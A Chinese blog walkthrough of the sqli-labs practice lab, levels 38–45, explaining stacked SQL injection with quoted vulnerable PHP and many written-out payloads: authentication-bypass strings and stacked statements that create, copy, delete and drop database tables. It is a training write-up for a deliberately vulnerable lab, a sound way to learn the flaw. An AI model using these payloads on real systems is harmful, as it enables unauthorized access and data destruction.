Sqli-labs Less38-Less39 堆叠注入

堆叠注入

sqli-labs 通关指南:Less 38 ~ 41

堆叠注入的原理

在SQL中,分号用来表示一条sql语句的结束,如果我们想将一堆sql语句一起执行,就是堆叠注入

结束一个分号后继续构建下一条语句,比如select*from users where id=1 ; create table test like users

就是新建一个表

或者比如用户输入1;DELETE FROM products当执行查询时,第一条显示查询的信息,第二条则将整个表进行删除

Less 38 ~ 41 虽然使用 Less 1 的方式注入即可注入成功,但是这 4 关存在堆叠注入漏洞。我们可以使用 “;” 闭合第一个 SQL 语句,然后在后面执行任意的 SQL 语句,通过这个漏洞我们可以对数据库执行任意的操作。

Less_38

sqli-labs 通关指南:Less 38 ~ 41 - 乌漆WhiteMoon

查看源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    
    
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }

可以看到mysqli_multi_query()该函数可以执行多条mysql语句

而之前的mysql_query()函数,该函数只能执行一条Mysql语句

常见的SQL命令

这道题是单引号注入

来试试堆叠注入吧

?id=1';create tables Cyan like users;--+,添加一个新的名为Cyan的表

image-20240720101434531

image-20240720101353855

可以看到多了个Cyan的表名

?id=1';INSRET INTO Cyan SELECT*FROM users;将users表中的数据插入到Cyan中去

image-20240720101913763

?id=1';DELETE FROM Cyan;--+ 将新建表中的数据删除

?id=1';DROP TABLE Cyan;--+ 将新建的表给删除

Less_39

先将常见的语句进行注入

?id=1'
?id=1')
?id=1'))
?id=1"
?id=1")
?id=1"))

发现都报错了

这道题是数字型注入

?id=1 and 1=1正常 ?id=1 and 1=2报错

和上题差不多了

?id=1;CREATE TABLE cyan LIKE usres;

image-20240720103309688

插入数据?id=1;INSERT INTO cyan SELECT*FROM users;

image-20240720103605900

Less_40

输入?id=1'报错,但是没有回显;

image-20240720103940183

经过尝试后,可以知道本题是单引号加上括号的盲注

?id=1;CREATE TABLE Cyan LIKE users;--+
?id=1;INSERT INTO Cyan SELECT * FROM users;--+
?id=1;DELETE FROM Cyan;--+
?id=1;DROP TABLE Cyan;--+

和38题一样

Less_41

多多尝试一下,是数字型的盲注

输入?id=1 and 1=1正常显示,输入?id=1 and 1=2报错

image-20240720104457399

?id=1;CREATE TABLE Cyan LIKE users;--+
?id=1;INSERT INTO Cyan SELECT * FROM users;--+
?id=1;DELETE FROM Cyan;--+
?id=1;DROP TABLE Cyan;--+

Less_42

打开发现是个登录框,和24题的二次注入的框框有点点像

image-20240720105105707

利用万能密码先注入,全部都登陆失败

1 OR 1 = 1#
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

对密码进行万能密码的注入1' or 1=1#

发现成功登陆了,密码字段存在单引号闭合的字符型注入

update更新数据后,经过mysql_real_escape_string ()处理后的数据,存入到数据库后不会发生变化,在select调用的时候才能发挥作用 。所以不用考虑考虑在更新密码处进行注入,所以这关和二次注入的思路是不一样的

查看Login中的源代码

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
   
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

可以发现password没有通过mysqli_real_escape_string函数的处理,因此我们在登陆的时候可以进行attack

mysqli_real_escape_string  会对SQL中的特殊字符进行转义
会被进行转义的字符包括:NUL (ASCII 0)、 \n、\r、\、 '、" 和 CTRL+Z

在输密码那栏输入1';drop table cyan;#

这是之前的表名

image-20240720110838142

这是执行完命令之后的表名

image-20240720110738877

其余的命令和上面的相同

Less_43

1' or 1=1#

image-20240720111052197

1" or 1=1#,没有报错信息了

image-20240720111149222

1') or 1=1#,ok ,成功登录,说明密码字段存在单引号加括号的字符型注入

image-20240720111432601

查看源代码:

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
   
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

和上题一样,1');create table me like users;

image-20240720112252308

okk,添加进去了

Less_44

1' or 1=1#吼,就直接登录进去了,密码存在单引号的注入

查看页面源代码:

$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
   
   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

和上面的题一样

1';insert me select*from users;

之前的me 表

image-20240720113041905

插入数据后的me表

image-20240720113156814

Less_45

1') or 1=1#成功登录,密码字段存在单引号加上括号的字符型注入

在密码那里输入

1');delete from me#

可以看到没有数据噜

image-20240720113652754

1');drop table me#

行,已经被删掉了

image-20240720113840715

  • 29
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值